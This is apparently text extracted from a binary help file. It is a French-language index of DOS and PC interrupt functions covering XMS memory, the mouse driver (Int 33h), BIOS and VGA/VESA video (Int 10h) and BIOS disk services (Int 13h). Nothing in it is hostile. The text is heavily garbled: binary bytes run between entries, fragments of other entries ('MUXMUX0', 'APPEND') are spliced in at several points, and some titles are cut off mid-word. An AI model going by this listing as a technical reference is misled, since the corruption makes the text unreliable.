étendue (EMB) XMSiInt 2Fh, Fct 0Ah Libérer un bloc de mémoire étendue (EMB) XMS"„iInt 2Fh, Fct 0Bh Copier la mémoire XMSÍjInt 2Fh, Fct 0Ch Protège un bloc de mémoire étendue (EMB) contre un déplacement XMSŠ†jInt 2Fh, Fct 0Dh Déverrouiller le bloc de mémoire étendue (EMB) XMS1kInt 2Fh, Fct 0Eh Lire les informations sur un EMB XMSÂkInt 2Fh, Fct 0Fh Agrandir ou diminuer le bloc de mémoire étendue (EMB) alloué XMSlInt 2Fh, Fct 10h Allouer un bloc de mémoire supérieure (UMB) XMS€lInt 2Fh, Fct 11h Libérer le bloc de mémoire supérieure (UMB) alloué XMSŠlFonctions Gestionnaire de souris'ˆmInt 33h, Fct 00h Réinitialisation du driver de souris Mouse (> 1.0)ânInt 33h, Fct 01h Afficher le curseur de la souris sur l'écran Mouse (> 1.0).0) LIM/EMS (> 4.0)es répertoires APPEND MUXMUX0);PnInt 33h, Fct 02h Masquer le curseur de la souris Mouse (> 1.0)€nInt 33h, Fct 03h Lire la position de la souris et l'état des boutons de la souris Mouse (> 1.0)‡ƒnInt 33h, Fct 04h Déplacement du curseur de la souris Mouse (> 1.0)!‡nInt 33h, Fct 05h Lire combien de fois un bouton de la souris a été enfoncé Mouse (> 1.0)ioInt 33h, Fct 06h Combien de fois un bouton de la souris a-t-il été relâché ? Mouse (> 1.0)–oInt 33h, Fct 07h Définir la zone de déplacement horizontale pour le curseur de la souris Mouse (> 1.0)´oInt 33h, Fct 08h Définir la zone de déplacement verticale pour le curseur de la souris Mouse (> 1.0)0…oInt 33h, Fct 09h Définit le curseur de la souris en mode graphique Mouse (> 1.0)‡ˆoInt 33h, Fct 0Ah Définit le curseur de la souris en mode de texte Mouse (> 1.0)ÛpInt 33h, Fct 0Bh Lire les distances de déplacement Mouse (> 1.0)vpInt 33h, Fct 0Ch Installer le gestionnaire d'événements Mouse (> 1.0)M…pInt 33h, Fct 0Dh Activer l'émulation du crayon optique Mouse (> 1.0)ˆpInt 33h, Fct 0Eh Désactiver l'émulation du crayon optique Mouse (> 1.0) ‰pInt 33h, Fct 0Fh Définir le rapport entre les mickeys et les points Mouse (> 1.0)DqInt 33h, Fct 10h Définir la zone d'exclusion Mouse (> 1.0)qInt 33h, Fct 11h Non documentée Mouse (> 1.0)íqInt 33h, Fct 12h Non documentée Mouse (> 1.0)ÇqInt 33h, Fct 13h Définir le seuil pour le doublement de la vitesse de la souris Mouse (> 1.0)ƒqInt 33h, Fct 14h Echange des gestionnaires d'événements Mouse (> 1.0)ð…qInt 33h, Fct 15h Lire la taille du buffer d'état de la souris Mouse (> 1.0)‘‡qInt 33h, Fct 16h Sauvegarder état de la souris Mouse (> 1.0)trInt 33h, Fct 17h Restaurer l'état de la souris Mouse (> 1.0)±rInt 33h, Fct 18h Installer un gestionnaire d'événements alternatif Mouse (> 1.0) LIM/EMS (> 4.0)es répertoires APPEND MUXMUX0)*I…rInt 33h, Fct 19h Lire l'adresse d'un gestionnaire d'événements alternatif Mouse (> 1.0)n‰rInt 33h, Fct 1Ah Définir la sensibilité de la souris Mouse (> 1.0)„sInt 33h, Fct 1Bh Lire la sensibilité de la souris Mouse (> 1.0)sInt 33h, Fct 1Ch Définir la fréquence d'Int de l'électronique de la souris Mouse (> 1.0) sInt 33h, Fct 1Dh Définir une page écran pour le curseur de la souris Mouse (> 1.0)‚sInt 33h, Fct 1Eh Lire page écran du curseur de la souris Mouse (> 1.0)ƒsInt 33h, Fct 1Fh Désactiver le driver de la souris Mouse (> 1.0)'†sInt 33h, Fct 20h Activer le driver de la souris Mouse (> 1.0)è†sInt 33h, Fct 21h Réinitialiser le driver de la souris Mouse (> 1.0)ØtInt 33h, Fct 22h Définir la langue étrangère pour les messages Mouse (> 1.0)<tInt 33h, Fct 23h Vérifier l'existence d'une langue étrangère pour les messages Mouse (> 1.0)&tInt 33h, Fct 24h Lire le type de souris Mouse (> 1.0)t€tInt 33h, Fct 25h Lire des informations générales Mouse (> 6.26)…tInt 33h, Fct 26h Lire l'extension de l'écran de souris virtuel Mouse (> 6.26) ˆtInt 33h, Fct 27h Lire les masques de bits du curseur d'écran Mouse (> 7.01)ÃuInt 33h, Fct 28h Définir le mode vidéo Mouse (> 7.0)NuInt 33h, Fct 29h Lire la liste des modes vidéo disponibles Mouse (> 7.0)v‚uInt 33h, Fct 2Ah Obtenir des informations sur le curseur de la souris Mouse (> 7.02)K‡uInt 33h, Fct 2Bh Lire les courbes d'accélération Mouse (> 7.0)vInt 33h, Fct 2Ch Lire la courbe d'accélération en cours Mouse (> 7.0)gvInt 33h, Fct 2Dh Définir/Lire la courbe d'accélération en cours Mouse (> 7.0)® vInt 33h, Fct 2Eh Non documentée Mouse (> 6.26)€vInt 33h, Fct 2Fh Réinitialisation de l'électronique de la souris Mouse (> 7.02)‚vInt 33h, Fct 30h Définir/Obtenir les paramètres de la souris Ballpoint Mouse (> 7.04) 4.0)es répertoires APPEND MUXMUX0) /wInt 33h, Fct 31h Lire l'étirement de l'écran virtuel Mouse (> 7.05)wInt 33h, Fct 32h Lire les Fcts disponibles Mouse (> 7.05)ŠwInt 33h, Fct 33h Définir les paramètres Mouse (> 7.05)æwInt 33h, Fct 34h Lire l'état du fichier MOUSE.INI Mouse (> 8.0)¶wInterruptions matériellesD„wInterruption 0hü…wInterruption 1hRxInterruption 2hpxInterruption 3hxInterruption 4hW„xInterruption 5hl‡xInterruptions 6h, 7h(ˆxInterruption 8hyInterruption 9h³yInterruptions 10h à 12h yInterruption 13hóyInterruption 14hÓyInterruption 15h€yInterruption 70h°yInterruption 75h\‚yInterruption 76hè‚ySystèmes numériques€zListe de toutes les interruptionsƒzInterruption 0hÁ„zInterruption 1hV{Interruption 2hs{Interruption 3h{Interruption 4hW„{Interruption 5hl‡{Interruptions 6h, 7h(ˆ{Interruption 8h|Interruption 9h³|Interruption 10hš}Int 10h, Fct 00h Ecran : Définir le mode vidéo BIOSá‚}Int 10h, Fct 01h Ecran : Définition de l'apparence du curseur BIOSG‡}Int 10h, Fct 02h Ecran : Positionnement du curseur BIOSP~Int 10h, Fct 03h Ecran : Lecture de la position du curseur BIOSñ~Int 10h, Fct 04h Ecran : Lecture de la position du crayon optique BIOSØ€~Int 10h, Fct 05h Ecran : Sélection de la page actuelle de l'écran BIOSŠ„~Int 10h, Fct 06h Ecran : Faire défiler des lignes de texte vers le haut (scrolling) BIOS‹‰~Int 10h, Fct 07h Ecran : Faire défiler des lignes de texte vers le bas (scrolling) BIOSœInt 10h, Fct 08h Ecran : Lecture d'un caractère/d'une couleur BIOSåInt 10h, Fct 09h Ecran : Ecriture d'un caractère/d'une couleur BIOS^ƒInt 10h, Fct 0Ah Ecran : Ecriture d'un caractère BIOS€Int 10h, Fct 0Bh, Sous-Fct 0 Ecran : Sélection des couleurs de cadre et de fond BIOSÈ€Int 10h, Fct 0Bh, Sous-Fct 1 Ecran : Sélection de la palette de couleurs BIOSŒ€Int 10h, Fct 0Ch Ecran : Ecrire un point graphique BIOSMUXMUX0)B€€Int 10h, Fct 0Dh Ecran : Lire un point graphique BIOSuƒ€Int 10h, Fct 0Eh Ecran : Ecrire un caractère BIOS䉀Int 10h, Fct 0Fh Ecran : Lecture du mode vidéo BIOS€Int 10h, Fct 10h, Sous-Fct 00h Ecran : Définir le registre de palette BIOS EGA/VGA²‚Int 10h, Fct 10h, Sous-Fct 01h Ecran : Définir la couleur du cadre de l'écran BIOS EGA/VGAs„Int 10h, Fct 10h, Sous-Fct 02h Ecran : Définir tous les registres de palette BIOS EGA/VGAu‡Int 10h, Fct 10h, Sous-Fct 03h Ecran : Définirr attribut de clignotement BIOS EGA/VGAõ‚Int 10h, Fct 10h, Sous-Fct 07h Lire le registre de palette VGA‚Int 10h, Fct 10h, Sous-Fct 08h Lire le contenu du registre Overscan VGAR‚Int 10h, Fct 10h, Sous-Fct 09h Lire le contenu de tous les registres de palette et le registre Overscan VGA€‚Int 10h, Fct 10h, Sous-Fct 10h Charger un registre de couleur DAC VGA]‚‚Int 10h, Fct 10h, Sous-Fct 12h Charger plusieurs registres de couleur DAC VGA‹‡‚Int 10h, Fct 10h, Sous-Fct 13h Définir la méthode de sélection des couleurs ou sélectionner un groupe de registres DACŃInt 10h, Fct 10h, Sous-Fct 15h Lit un des registres de couleur DAC VGAâƒInterrupt 10h, Fct 10h, Sous-Fct 17h Définir le contenu de plusieurs registres de couleur DAC VGAuƒInterrupt 10h, Fct 10h, Sous-Fct 18h Définit le registre de masque DAC VGAÁƒƒInt 10h, Fct 10h, Sous-Fct 19h Lire le contenu du registre de masque DAC VGAù…ƒInterrupt 10h, Fct 10h, Sous-Fct 1Ah Lire la méthode de sélection de couleur et le contenu du registre de sélection de co„Int 10h, Fct 10h, Sous-Fct 1Bh Convertir le contenu des registres de couleur DAC en nuances de gris VGAi„Int 10h, Fct 11h, Sous-Fct 00h Ecran : Charger le jeu de caractères défini par l'utilisateur BIOS EGA/VGA9„Int 10h, Fct 11h, Sous-Fct 01h Ecran : Charger le jeu de caractères 8*14 BIOS EGA/VGA, Fct 0Ch Ecran : Ecrire un point graphique BIOSMUXMUX0)3€„Int 10h, Fct 11h, Sous-Fct 02h Ecran : Charger le jeu de caractères 8*8 BIOS EGA/VGAœƒ„Int 10h, Fct 11h, Sous-Fct 03h Ecran : Sélectionner un jeu de caractères BIOS EGA/VGAj‡„Int 10h, Fct 11h, Sous-Fct 04h Charger le jeu de caractères 8*16 VGAž…Int 10h, Fct 11h, Sous-Fct 10h Ecran : Charger et activer un jeu de caractères défini par l'utilisateur BIOS EGA/VGAt…Int 10h, Fct 11h, Sous-Fct 11h Ecran : Charger et activer le jeu de caractères 8*14 BIOS EGA/VGA€…Int 10h, Fct 11h, Sous-Fct 12h Ecran : Charger le jeu de caractères 8*8 BIOS EGA/VGA#ƒ…Int 10h, Fct 11h, Sous-Fct 14h Charger jeu de caractères 8*16 VGA†…Int 10h, Fct 11h, Sous-Fct 30h Ecran : Lire des informations sur le générateur de caractères BIOS EGA/VGA›†Int 10h, Fct 12h, Sous-Fct 10h Ecran : Lire la configuration EGA/VGA BIOS EGA/VGAȆInt 10h, Fct 12h, Sous-Fct 20h Ecran : Définir une autre routine de copie d'écran BIOS EGA±†Int 10h, Fct 12h, Sous-Fct 30h Définir le nombre de lignes de balayage EGA/VGA€†Int 10h, Fct 12h, Sous-Fct 31h Activer ou désactiver le chargement des registres de palette VGAy‚†Int 10h, Fct 12h, Sous-Fct 32h Autoriser/verrouiller l'accès de l'unité centrale à la RAM vidéo VGAf…†Int 10h, Fct 12h, Sous-Fct 33h Activer/désactiver la conversion en gris des registres de couleur DAC VGAˆ†Int 10h, Fct 12h, Sous-Fct 34h Activer/désactiver l'émulation du curseur VGA!‡Int 10h, Fct 12h, Sous-Fct 36h Interdire la construction de l'écran VGA5‡Int 10h, Fct 13h Ecran : Sortie d'une chaîne de caractères BIOS (> AT)0‚‡Int 10h, Fct 14h Non documentée BIOS EGA/VGAà‚‡Int 10h, Fct 15h Non documentée BIOS EGA/VGAƒ‡Int 10h, Fct 16h Non documentée BIOS EGA/VGA@„‡Int 10h, Fct 17h Non documentée BIOS EGA/VGAð„‡Int 10h, Fct 18h Non documentée BIOS EGA/VGA …‡Int 10h, Fct 19h Non documentée BIOS EGA/VGAran : Ecrire un point graphique BIOSMUXMUX0)P†‡Int 10h, Fct 1Ah, Sous-Fct 00h Lire le type d’adaptateur vidéo primaire et secondaire VGA9ˆInt 10h, Fct 1Ah, Sous-Fct 01h Définir les cartes vidéo primaire et secondaire VGAPˆInt 10h, Fct 1Bh Lire les informations d'état concernant le mode vidéo et le BIOS VGA VGAÖ‰ˆInt 10h, Fct 1Ch, Sous-Fct 00h Demander la taille de la zone de sauvegarde VGA±‰Int 10h, Fct 1Ch, Sous-Fct 01h Sauvegarder l'état vidéo VGA¿‰Int 10h, Fct 1Ch, Sous-Fct 02h Restaurer l'état vidéo VGA¸ƒ‰Int 10h, Fct 4Fh, Sous-Fct 00h Lire les spécificités de la carte Super VGA VESA䈉Int 10h, Fct 4Fh, Sous-Fct 01h Lire les données-clés d'un mode VESA VESAr ŠInt 10h, Fct 4Fh, Sous-Fct 02h Activer le mode VESA VESA€ŠInt 10h, Fct 4Fh, Sous-Fct 03h Lire le mode en cours VESA÷ŠInt 10h, Fct 4Fh, Sous-Fct 04h/00h Lire la taille du buffer de stockage VESA#†ŠInt 10h, Fct 4Fh, Sous-Fct 04h/01h Sauver l'état vidéo de la carte Super VGA VESA‹Int 10h, Fct 4Fh, Sous-Fct 04h/02h Restaurer l'état vidéo de la carte Super VGA VESA¨‹Int 10h, Fct 4Fh, Sous-Fct 05h/00h Placer la fenêtre d'accès sur la RAM vidéo VESA‹‹Int 10h, Fct 4Fh, Sous-Fct 05h/01h Lire la fenêtre d'accès sur la RAM vidéo VESA‹Interruption 11hœŠ‹Interruption 12hYŒInterruption 13h€ŒInt 13h, Fct 00h Disquette : Réinitialisation du lecteur de disquette BIOS»…ŒInt 13h, Fct 00h Disque dur : Reset BIOSInt 13h, Fct 01h Disquette : Lire l'état disquette BIOS¸Int 13h, Fct 01h Disque dur : Consulter état du disque dur BIOSý‚Int 13h, Fct 02h Disquette : Lecture BIOS9‰Int 13h, Fct 02h Disque dur : Lecture BIOSIŽInt 13h, Fct 03h Disquette : Ecriture BIOS»€ŽInt 13h, Fct 03h Disque dur : Ecriture BIOSõˆŽInt 13h, Fct 04h Disquette : Vérification BIOSžInt 13h, Fct 04h Disque dur : Vérification BIOSInt 13h, Fct 05h Disquette : Formatage BIOS BIOSMUXMUX0) ÇŠInt 13h, Fct 05h Disque dur : Formatage BIOSÈ Int 13h, Fct 06h Disque dur : Formatage XT BIOSŒ Int 13h, Fct 07h Disque dur : Formatage XT BIOSŠ€Int 13h, Fct 08h Disquette : Lire le format BIOS (> AT)àƒInt 13h, Fct 08h Disque dur : Lire le format BIOS (XT AT)‘Int 13h, Fct 09h Disque dur : Adaptation de disques durs étrangers BIOS|‘Int 13h, Fct 0Ah Disque dur : Lecture de secteurs étendus BIOS3ƒ‘Int 13h, Fct 0Bh Disque dur : Ecriture de secteurs étendus BIOS’Int 13h, Fct 0Ch Disque dur : Déplacer tête de lecture/écriture BIOS (> XT)ª’Int 13h, Fct 0Dh Disque dur : Réinitialisation BIOSê„’Int 13h, Fct 0Eh Disque dur : Test de lecture du contrôleur BIOS (PS/2)†’Int 13h, Fct 0Fh Disque d